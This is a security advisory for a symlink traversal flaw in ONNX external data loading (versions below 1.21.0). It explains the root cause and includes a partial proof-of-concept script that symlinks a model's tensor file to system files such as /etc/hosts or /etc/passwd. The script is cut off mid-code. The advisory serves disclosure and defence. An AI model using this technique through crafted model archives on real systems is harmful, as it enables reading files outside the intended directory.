ONNX: External Data Symlink Traversal
Summary
- Issue: Symlink traversal in external data loading allows reading files outside the model directory.
- Affected code:
onnx/onnx/checker.cc: resolve_external_data_locationused via Pythononnx.external_data_helper.load_external_data_for_model. - Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory.
Root Cause
- The function
resolve_external_data_location(base_dir, location, tensor_name)intends to ensure that external data files reside withinbase_dir. It: - Rejects empty/absolute paths
- Normalizes the relative path and rejects
.. - Builds
data_path = base_dir / relative_path - Checks
exists(data_path)andis_regular_file(data_path) - However,
std::filesystem::is_regular_file(path)follows symlinks to their targets. A symlink placed insidebase_dirthat points to a file outsidebase_dirwill pass the checks and be returned. The Python loader then opens the path and reads the target file.
Code Reference
- File: onnx/onnx/checker.cc:970-1060
- Key logic:
- Normalization:
auto relative_path = file_path.lexically_normal().make_preferred(); - Existence:
std::filesystem::exists(data_path) - Regular file check:
std::filesystem::is_regular_file(data_path) - Returned path is later opened in Python:...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| onnx PyPI | < 1.21.0 | 1.21.0 |
Details and references
Summary - Issue: Symlink traversal in external data loading allows reading files outside the model directory. - Affected code: `onnx/onnx/checker.cc: resolve_external_data_location` used via Python `onnx.external_data_helper.load_external_data_for_model`. - Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory. Root Cause - The function `resolve_external_data_location(base_dir, location, tensor_name)` intends to ensure that external data files reside within `base_dir`. It: - Rejects empty/absolute paths - Normalizes the relative path and rejects `..` - Builds `data_path = base_dir / relative_path` - Checks `exists(data_path)` and `is_regular_file(data_path)` - However, `std::filesystem::is_regular_file(path)` follows symlinks to their targets. A symlink placed inside `base_dir` that points to a file outside `base_dir` will pass the checks and be returned. The Python loader then opens the path and reads the target file. Code Reference - File: onnx/onnx/checker.cc:970-1060 - Key logic: - Normalization: `auto relative_path = file_path.lexically_normal().make_preferred();` - Existence: `std::filesystem::exists(data_path)` - Regular file check: `std::filesystem::is_regular_file(data_path)` - Returned path is later opened in Python: `external_data_helper.load_external_data_for_tensor`. Proof of Concept (PoC) - File: `onnx_external_data_symlink_traversal_poc.py` - Behavior: Creates a model with an external tensor pointing to `tensor.bin`. In the model directory, creates `tensor.bin` as a symlink to `/etc/hosts` (or similar). Calls `load_external_data_for_model(model, base_dir)`. Confirms that `tensor.raw_data` contains content from the target outside the model directory. - Run: - `python3 onnx_external_data_symlink_traversal_poc.py` - Expected: `[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir` onnx_external_data_symlink_traversal_poc.py ```python #!/usr/bin/env python3 """ ONNX External Data Symlink Traversal PoC Finding: load_external_data_for_model() (via c_checker._resolve_external_data_location) does not reject symlinks. A relative location that is a symlink inside the model directory can target a file outside the directory and will be read. Impact: Arbitrary file read outside model_dir when external data files are obtained from attacker-controlled archives (zip/tar) that create symlinks. This PoC: - Creates a model with a tensor using external_data location 'tensor.bin' - Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts) - Calls load_external_data_for_model(model, base_dir) - Confirms that tensor.raw_data contains the content of the outside file Safe: only reads a benign system file if present. """ import os import sys import tempfile import pathlib # Ensure we import installed onnx, not the local cloned package _here = os.path.dirname(os.path.abspath(__file__)) if _here in sys.path: sys.path.remove(_here) import onnx from onnx import helper, TensorProto from onnx.external_data_helper import ( set_external_data, load_external_data_for_model, ) def pick_target_file(): candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"] for p in candidates: if os.path.exists(p) and os.path.isfile(p): return p raise RuntimeError("No suitable readable system file found for this PoC") def build_model_with_external(location: str): # A 1D tensor; data will be filled from external file tensor = helper.make_tensor( name="X_ext", data_type=TensorProto.UINT8, dims=[0], # dims will be inferred after raw_data is read vals=[], ) # add dummy raw_data then set_external_data to mark as external tensor.raw_data = b"dummy" set_external_data(tensor, location=location) # Minimal graph that just feeds the initializer as Constant const_nod